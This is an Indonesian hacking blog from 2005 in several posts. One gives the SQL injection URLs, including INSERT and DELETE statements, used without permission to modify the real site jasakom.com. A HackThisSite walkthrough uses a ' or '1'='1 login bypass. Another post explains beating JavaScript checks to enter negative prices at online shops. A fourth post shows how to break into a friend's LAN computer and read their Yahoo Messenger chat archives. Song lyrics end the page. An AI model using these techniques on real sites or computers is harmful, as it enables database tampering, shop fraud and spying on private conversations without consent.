Email Konfirmasi dari Pemilik Jasakom.com

Sesaat setelah gw berhasil menemukan vuln pada web www.jasakom.com, gw langsung kirim email pemberitahuan ke Sto, sang pemilik jasakom.com.

Jadi, setelah Sto mengirim email ini.... jangan harap loe-loe semua bisa nembus jasakom dengan teknik SQL Injection lagi.... oke ......

Berikut isi emailnya :

Date: Wed, 23 Mar 2005 16:45:31 -0800 (PST)
From: "S'to" <sto2009@yahoo.com> Add to Address Book
Subject: Fwd: Sto..jasakom.com SQL INjection Vuln..patch segera
To: "Rudy Susanto" <jrudy@thesimpletouch.com>, xxxxxx@yahoo.com

Thanks Xxxxxx atas informasinya. Ruth, tugas nih,semua karakter ini harus di filter ' % ( )
:)
S'to

--- Xxxxx <xxxxx@yahoo.com> wrote:>
Date: Wed, 23 Mar 2005 03:50:10 -0800 (PST)>
From: Xxxxxxx <xxxxxx@yahoo.com>>
Subject: Sto..jasakom.com SQL INjection Vuln..patch> segera>
To: sto2009@yahoo.com> >
Dear Sto,> Situs jasakom yang baru loe bikin, yg pake> asp.net...> sql injection vuln tuh..patch segera .... kalo> gak...database loe diacak2......> > harusnya, error nya .net loe tangkep.. dia tuh lebih> parah dari asp...... malah dia ngasih tau nama tabel> dan semua kolomnya.> >
Xxxxxxx>
> > > >
__________________________________ > Do you Yahoo!? > Yahoo! Small Business - Try our new resources site!> http://smallbusiness.yahoo.com/resources/ >

Jasakom.com di hack ???

Perhatian : Semua yang tertulis di situs ini hanya untuk pembelajaran. Jangan pernah dicoba untuk mesin dan situs yang bukan milik anda. Setiap tindakan, anda tanggung sendiri akibatnya. Take ur own risk bro .. !!!!

Pendahuluan :
Bagi para hacker dan pemula hacker, mungkin situs www.jasakom.com adalah salah satu tempat mangkal mereka. Mulai dari tutorial sampai tips dan trik hacking, semua ada disitu. jadi.. yah bisa dibilang... situs ini.. salah satu tempat kumpulnya komunitas hacker Indonesia.

Kemaren malem (24/03/2005) sekitar jam 18:00, gw coba masuk ke situs jasakom, yah.. udah lama banget ga buka-buka web nya jasakom .. dah kangen... pas gw buka... waaaaa ternyata web nya sduah ganti chasing.. alias tampilannya dah berubah.. lebih bagus.. dan udah bermigrasi dari ASP ke ASP.NET.. wah.... canggih loe Sto ... (Sto adalah pemilik situs jasakom).

Tapi, ternyata.. dibalik kecanggihan ASP.NET nya ... situs itu bisa dijebol ... gak tanggung-tanggung ... hanya dengan teknik lawas SQL Injection... seorang hacker bisa melakukan update terhadap databasenya. Ck..ck..

Mau tau gimana caranya ???? lanjut terus baca tulisan dibawah .... oh iya.... pada saat artikel ini ditulis.. web jasakom sudah oke kembali (karena Sto sudah menindak lanjuti email pemberitahuan yg gw kirim) .. artinya sudah dipatch.. jadi elo-elo gak bisa nyoba ... hihihihihi.. kasian de loe....

Oh iya, satu lagi... gw gak akan membahas apa itu SQL Injection, kalo loe mau tau .. buka aja web nya jasakom.

Pembahasan :
Semalem tuh (23/03/2005) , yang gw lakuin :
1. Buka web jasakom.com, liat2 artikel menarik. Baca-baca ampe bosen .....
2. Pilih menu Hacking, yang artinya ditampilkan semua artikel bertipe Hacking, dgn url :
http://www.jasakom.com/group.aspx?ID=Hacking
3. Trus gw iseng, gw tambahin karakter kutip satu dibelakang kata Hacking. Jadinya :
http://www.jasakom.com/group.aspx?ID=Hacking'
Trus muncul error :
System.Data.SqlClient.SqlException: Unclosed quotation mark before the character string 'Hacking' ORDER BY id desc'. Line 1: Incorrect syntax near 'Hacking' ORDER BY id desc'. at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream) at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior behavior) at System.Data.SqlClient.SqlCommand.System.Data.IDbCommand.ExecuteReader(CommandBehavior behavior) at System.Data.Common.DbDataAdapter.FillFromCommand(Object data, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable) at ruthness.grouparticle.BindData() in E:\web\jasakomcom0\htdocs\grouparticle.aspx.vb:line 49
Nah, dari error itu gw tau, web nya ternyata SQL Injection Vulnerable .... dan parahnya .. elo liat bagian yg gw merahin ??? itu ternyata folder root dimana file2 aspx nya disimpan. (dari keterangan ini, elo bisa bertindak lebih dari sekedar menggunakan SQL Injection)
4. Trus gw coba menggunakan having. Jadinya :
http://www.jasakom.com/group.aspx?ID='%20Having%201=1--
Muncul error :
System.Data.SqlClient.SqlException: Column 'berita.ID' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. Column 'berita.Judul' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. Column 'berita.TglPost' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. Column 'berita.Penulis' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. Column 'berita.HitCount' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. Column 'berita.JenisBerita' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. Column 'berita.IsiBerita' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. Column 'berita.Judul_Inggris' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. Column 'berita.HitCount_Inggris' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. Column 'berita.IsiBerita_Inggris' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream) at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior behavior) at System.Data.SqlClient.SqlCommand.System.Data.IDbCommand.ExecuteReader(CommandBehavior behavior) at System.Data.Common.DbDataAdapter.FillFromCommand(Object data, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable) at ruthness.grouparticle.BindData() in E:\web\jasakomcom0\htdocs\grouparticle.aspx.vb:line 49
Waaaaa..... dari error itu, elo bisa tau informasi berharga ....... yang paling penting, elo bisa tau salah satu nama tabel dan semua kolom2nya........ neh... setelah gw catet... nama kolomnya :
berita.ID
berita.Judul
berita.TglPost
berita.Penulis
berita.HitCount
berita.JenisBerita
berita.IsiBerita
berita.Judul_Inggris
berita.HitCount_Inggris
berita.IsiBerita_Inggris
5. Dari nama tabel "berita" dan kolom2nya.. akhirnya gw coba deh insert sebuah berita. Dgn URL :
http://www.jasakom.com/group.aspx?ID=';insert into berita values (1000,'patch dong','','kutukupretz',200,'hacking','patch dong','',100,'') --
Trus keluar error yang bilang gak bisa insert untuk data tipe Identity. Oh... ini karena berita>ID tipenya autonumber.. jadi gak perlu dimasukkin nilainya....
6. Ganti URL nya menjadi :
http://www.jasakom.com/group.aspx?ID=';insert into berita values ('patch dong','','kutukupretz',200,'hacking','patch dong','',100,'') --
Tidak ada balikan error. Artinya... data berhasil diinsert.. dan pas gw buka halaman home-nya.. Beng !! Sudah ada artikel baru dengan judul "patch dong"
7. Setelah berhasil insert, data tersebut gw hapus (yaaahh.. gw kan orangnya baik :P) ... dengan URL :
http://www.jasakom.com/group.aspx?ID=';delete from bertia where judul='patch dong'--
8. Trus gw email-in deh si Sto, ngasih tau kalo web nya SQL Injection Vulnerable.

Penutup :
Nah, dari semua ini... bisa ditarik kesimpulan..... gak peduli suatu mesin dipasang Antivirus super canggih, patch bertingkat tujuh, dan lain-lain.. kalau ternyata sistem yang dibangunnya masih rentan akan security ...

Oh iya, Sto sebagai pemilik jasakom sendiri sepertinya tidak sadar kalo gw sempet masuk dan posting berita di web nya. (mudah2an emang ga tau....atau pura2 ga tau ... kan IP gw kecatet harusnya...)
Sekali lagi pesen gw, jangan pernah mencoba untuk mesin yang bukan milik anda. It's just for learning !!!!

Shoutz to :
- Sto (sorry men, gw cuma ngetest doang... situs loe gak berubah kan?? database loe baik2 aja kan??)
- fuzk3 (gw baca artikel loe yg tentang SQL INjection Vol-2)
- Jasakom Community

Trik Realistic Mission HackThisSite.org (easy mode)

Pernah tau web site tempat belajarnya para hacker ???? kalo belom tau... elo2 semua bisa buka www.hackthissite.org. Web ini jadi salah satu acuan dan tempat belajar para hacker di seluruh pelosok dunia ... (gak cuma hacker dari Indonesia aja loh ..).

Nah, yang menarik... di situs ini.. kita bisa belajar cara ngehack.. mulai dari basic mission... (ada 10 level) hingga realistic mission (dari level easy sampe hard). Nah.. untuk level easy .... ada 2 challange ... nah.. sekarang gw mau kasih tau elo semua ... cara untuk bisa nembus 2 challange itu .....

Challange 1 :
Pada tantangan ini, elo disuruh bantuin salah seorang anggota band yang taruhan kalau nama band nya (Raging Inferno) bisa jadi urutan teratas dalam sebuah review salah satu web site local (Uncle Arnold Band Review Page). Nah, untuk bisa jadi urutan teratas... seseorang harus memberikan credit nilai terhadap salah satu nama band. Credit tersebut bernilai 1 sampai 5 .

Challange 2:
Pada tantangan ini, elo disuruh mencari halaman administrator sebuah situs rasisme. Dan bukan hanya itu, elo juga diminta menembus halaman adminnya.. dan memposting sebuah berita ...

Okeh, sebelum gw kasih tau caranya gimana... elo mau nyoba sendiri ????? tapi kalo mentok.... elo bisa liat caranya seperti dibawah :

Challange 1:
Karena levelnya masih easy, alias gampang bin mudah .... cara ngehacknya juga gampang banget. Elo masuk ke halaman nya si Uncle Arnold .. trus elo liat nama bandnya Raging Inferno ... dia tuh ada dipaling bawah.... nah.. logikanya .. kalo elo kasih credit dia max 5 .. trus elo submit... harus berapa kali elo submit supaya tuh band jadi urutan teratas ...??? (kebaca kan logikanya ??) . Gimana caranya supaya elo butuh klik sekali aja....

Nah, akhirnya kan elo dipaksa mikir... kalo elo cukup butuh klik sekali.. tapi nilai yang dikirim gak 5 ... tapi 1000000 (1 juta) misalnya.

Untuk melakukan ini, elo bisa simpan halamannya ke format html, buka pake notepd.. ganti value untuk credit 5 menjadi 1000000 ... (ingat.... !! yang elo kasih credit itu untuk band Raging Inferno). Ganti alamat actionnya ke alamat absolute (tambahin http://www.hackthissite.org/missions/realistic/1/ didepan halaman actionnya). Simpan .... trus buka dibrowser ...

Yang perlu diingat, elo mesti buka browser baru dengan Ctrl+N .. karena sessionnya masih aktif ... soalnya kalo elo buka browser dgn double klik icon IE (misalnya).. elo dianggap belom login.

abis itu, elo pilih credit 5 (yang valuenya dah elo ganti).. trus submit deh .....

Challange 2:
Sama seperti tantangan pertama, yang perlu elo lakuin disini adalah ... elo coba view source tuh halaman ... kan dibaris paling bawah ada tulisan update dan link nya (kalo loe liat di web nya, gak keliatan. Soalnya warnanya sama-sama item, kecuali kalo tuh semua halaman elo blok.. baru keliatan). Elo klik tulisan update nya.. masuk deh ke menu adminnya ....

Langkah selanjutnya adalah SQL Injection ..... elo bisa masukin ' or '1'='1 di username dan passwordnya .....
Dan... BENG !!!!! ... sukses !!!

Oke deh... cukup sekian dulu.... trik hacking untuk realistic mission level easy nya .... gw mau nyoba level 4 (moderate) ... ntar kalo dah bisa.. gw kasih tau lagi... sekalian dengan trik level 3 nya ...... (maklum.... lamer neh ..)

Happy Hacking .......

Blue Verdana

Web Project Management

Tanggal 18 Desember 2004 lalu, gw diminta oleh jurusan gw... Ilmu Komputer IPB, untuk jadi pembicara dalam salah satu acara Pembekalan Praktek Lapang bagi mahasiswa DIII. Sebenernya yang berhak jadi pembicara adalah alumni... cuma.... entah kenapa... Bp. Firman Ardiansyah ... salah satu dosen Ilkom IPB ... malah meminta gw yang jelas2 belom jadi alumni untuk menjadi pembicara.

Materi yang gw bawakan tentang Web project Management, yah.. seperti permintaan Pak Firman. Sebenernya gw agak kikuk juga seh, abis dah lama banget gak ngomong didepan orang banyak.... eh.. tau-tau dapet job yang mesti ngomong didepan sekitar 200-an peserta ... dan semuanya mahasiswa pula......

Acara yang dimulai tepat jam 7 pagi itu, bener-bener berlangsung menarik, apalagi pas gw menyinggung sedikit tentang web security ..... semua peserta menyimak apa yang gw bawain.... aneh yah .. apa karena materinya yang menarik.. atau pembicaranya yang ganteng ...... yang jelas.... pemberian materi sampe molor hampir setengah jam.... kan gw mulai jam 7 lewat dikit..... eh... baru selesai jam 8 lewat 15 menit.... harusnya ... gw harus selesai jam 7.45 ... hihihihihihi...... Sampe-sampe acara tanya jawab hanya dibuka untuk 2 penanya ... padahal yang mau nanya banyak ....... walhasil... para peserta yang gak kebagian nanya... akhirnya habis acara selesai... langsung kedepan untuk nanya2 seputar web project ke gw......

Pokoknya thx to Pa Firman... next time undang gw lagi yah ...

Mengakali Security Web yang Menggunakan JavaScript

Banyak administrator atau para pembuat situs yang mencoba membangun security web nya menggunakan javascript. Dan seperti diketahui pula, javascript sebagai script pemrograman berbasis client, sangat.. sangatlah tidak aman ... yah... lumayan bagus seh.... cuma kalau dipakai sebagai tools pembangun security .. sepertinya perlu dipikirkan 2 kali deh ....

Berikut contoh beberapa sistem security yang paling umum yang menggunakan javascript :

1. Mematikan klik kanan. Dulu temen gw minta tolong ma gw, gmn caranya mengambil image dari sebuah situs... yah gw bilang aja.. klik kanan... trus save image ... dia bilang.. gak bisa klik kanan ..... ooooohh.. itu javascript .......

2.Mematikan semua klik, baik klik kanan, maupun klik kiri. Nah, gw pernah nyoba 'nyuri' berita dari detik.com ... pas gw mau blok tuh beritanya.. kok gak mau yah.... di klik kiri gak mau.. apalagi klik kanan.

3.Pengecekan text input. Ada beberapa situs, yang pada text form loginnya (text box untuk user name maupun password nya) yang membatasi max karakternya. Hal ini dimaksudkan untuk membatasi user yang tidak bertanggung jawab untuk mencoba2 memasukinya, baik dgn teknik mencoba maupun SQL Injection. Selain itu, pengecekan text input juga biasa dilakukan pada situs e-commerce untuk menghindari pemasukan nilai minus (-). Input nilai minus biasa dilakukan oleh para hacker yang gak mau rugi belanja on-line. Sebagai contoh :
Biasanya Rumus yang digunakan = sum ((Jumlah Barang x Harga Barang))
Kalo gw beli 2 barang berbeda = (1 x 1000.000) + (1 x 900.000) = 1.900.000
Sekarang kalo gw ganti jumlah barang nya = (1 x 1000.000) + (-1 x 900.000) = 100.000
JAUH LEBIH MURAH KAN !!!!!!!!

Dan masih banyak lagi penggunaan javascript untuk security di situs.... nah.. yang penting adalah.. bagaimana cara kita mengakalinya......... ada banyak cara sih.... cuma disini gw bakal kasih tau beberapa aja yah .....

1. Untuk bisa melakukan klik kanan caranya : biasanya pada mouse itu ada 3 tombol (kiri, tengah, kanan). Nah.... untuk bisa melakukan klik kanan.. anda bisa melakukan penekanan tombol mouse dgn kombinasi :
- klik kiri (tahan) - klik kanan (tahan) - lepaskan keduanya secara berbarengan
- klik kiri (tahan) - klik kanan (tahan) - lepaskan klik kiri - lepaskan klik kanan
- klik tengah (tahan) - klik kanan (tahan) - lepaskan keduanya secara berbarengan
- klik tengah (tahan) - klik kanan (tahan) - lepaskan klik tengah - lepaskan klik kanan
(anda bisa mencoba salah satu kombinasi diatas .. kalo masih ga bisa ikuti langkah no. 3)

2. Untuk pengecekan input text, ada cara yang lumayan bikin males ... abis repot seh... caranya .... elo simpen halaman itu. Misal alamat yg elo buka http://www.hartakarun.net/index.asp .. nah.. elo save as halaman login.asp nya dalam format .html . Terus, elo buka pake notepad atau editor html lainnya, dan cari fungsi yang melakukan pengecekan tersebut. Setelah ketemu, matiin aja ..... bisa kan???? nah.. untuk yg membatasi max length... elo ganti aja properti max length pada tag "input" nya ... ganti misalnya tadi 5 jadi 20.
Abis itu... sebelum elo save ... jangan lupa untuk mengganti alamat action pada tag "form", misalnya kalo tadi alamatnya misalnya " form action="login.asp" elo bisa ganti dgn alamat absolut "form action="http://www.hartakarun.net/login.asp".
Simpan, dan buka di browser...... oh iya.... browser yang gw gunakan IE yah .....
Abis dibuka... elo pake deh.... terus elo submit deh ...... pasti jalan.......

3. Nah, kalo langkah 1 dan 2 masih ga bisa juga ... langkah berikutnya adalah langkah pamungkas .... elo buka menu Tools > Internet Options > Security > Internet > Custom Level .. pada bagian Scripting > Active Scripting ... elo pilih Disable kemudian simpan. Lakukan langkah yang sama untuk Security > Local Internet > Custom Level .. pada bagian Scripting > Active Scripting ... elo pilih Disable kemudian simpan.
Abis itu, elo buka window baru dgn Ctrl+N ... dan BENG !!! semua javascript .... mati !!!! Innalillahi.........

Kalo javascript dah mati.. artinya... security sudah tidak ada lagi..........

Okeh.... selamat mencoba......

Blue_Verdana

Melihat Isi Chatingan YM Temen Kita

Wah, ... akhirnya gw ngisi blogger juga.. setelah sekian lama gak ngisi .... oke deh .. mulai sekarang alamat blogger gw ini .. gw tujukan untuk membahas semua tips dan triks yang berhubungan dengan teknik pemrograman yang gak kuno.. plus ... nah ini plus nya.... plus teknik hacking ..... (maklum.... gw baru belajar ...)

Untuk postingan pertama.. gw mau bahas... gimana caranya kita bisa liat isi chattingan Yahoo Messenger (YM)temen kita yang berada pada satu jaringan LAN.

Seperti kita tahu, untuk YM versi 6.0 udah ada fasilitas archieving ... artinya semua obrolan kita dan friends kita... terekam dan disimpan. U know what's the problem ??? masalahnya adalah.. semua archieve disimpan di komputer client !! .. ck.. ckk... yah.. mungkin untuk meng hemat space diserver kali yah....

Tapi, justru kelemahan ini yang paling sering dimanfaatkan oleh temen yang 'iseng' (termasuk gw juga seh..hihihihi) untuk memanfaatkan kelemahan ini dan ngeliat seluruh isi chattingan orang lain dengan SEMUA friends nya ...

Oke, kita mulai .... sebenernya sih prinsipnya gampang ......
1. Yang perlu kita lakukan pertama kali adalah mencoba 'masuk' ke komputer korban. Artinya, kita harus bisa ngebrowse folder C korban.... karena folder Program Files umumnya ditaro di C kan ??? Lalu caranya gimana??? Iya kalo folder C korban di share... kalo engga gmn???

Gampaaaanggg..... ada banyak tools yang bisa digunakan untuk 'masuk' tanpa ijin ke komputer korban. Anda bisa pakai NetBios, BO alias Back Orifice, atau Kaht yang paling populer dikalangan para hacker. Nah, untuk lebih mudahnya.... elo semua bisa pake LanDiscovery V1.0 . Tools ini selain mudah dipakai juga user friendly .. dan jalan di OS Windows.

Anda jalankan LanDiscovery, terus kan keliatan tuh semua komputer yang terkoneksi ke LAN. Nah, tinggal pilih nama komputer korban.. terus liat deh.... folder apa aja yang bisa dibaca.

Pada umumnya, Windows memberikan default share untuk folder C$, ADMIN$, Source$, Print$, dan IPC$. Terus tulisan dollar '$' itu artinya apa??? artinya hidden .....

Nah, kan folder C nya bisa dishare ... klik aja ... dan lihat apa yg terjadi.. anda bisa masuk ke folder C nya korban....

2. Setelah masuk, anda bisa pergi menuju folder "C:\Program Files\Yahoo!\Messenger\Profiles\budhine\Archive\Messages" dimana tersimpan semua ID Friends YM si korban. Tinggal klik salah satu folder ID tersebut, dan ... Beng !!!!! ada file .dat yang namanya sesuai dgn tanggal obrolan si korban .... hihihihihihi... terus buka deh pake notepad........

Bisa ??? yah ga semudah itu lah ... ternyata file .dat tadi di enkripsi ... lalu gimana cara dekripsinya ???? Waaaaaaaaaaaaa .... gampang banget .... daripada susah-susah bingung ... elo bisa pake program Archieve Reader.

Setelah elo jalanin, nah ... akhirnya elo bisa ketawa-ketiwi dot com deh liat isi chattingan temen loe ....... but... artikel ini jangan elo salah gunakan yah ....... it's just for fun .... oke guys.... tunggu postingan gw selanjutnya ...

c ya
Blue Verdana

Mungkin Nanti

Saatnya ku berkata mungkin yang terakhir kalinya
Sudahlah lepaskan semua kuyakin inilah waktunya
Mungkin saja kau bukan yang dulu lagi
Mungkin saja rasa itu telah pergi

Dan mungkin bila nanti kita kan bertemu lagi
Satu pintaku jangan kau coba tanyakan kembali
Rasa yang kutinggal mati
Seperti hari kemarin saat semua disini

Dan bila hatimu termenung bangun dari mimpi2mu
Membuka hatimu yang dulu cerita saat bersamaku
Mungkin saja kau bukan yang dulu lagi
Mungkin saja rasa itu telah pergi

Dan mungkin bila nanti kita kan bertemu lagi
Satu pintaku jangan kau coba tanyakan kembali
Rasa yang kutinggal mati
Seperti hari kemarin saat semua disini

Tak usah kau tanyakan lagi simpan untukmu sendiri
Semua sesal yang kau cari semua rasa yang kau beri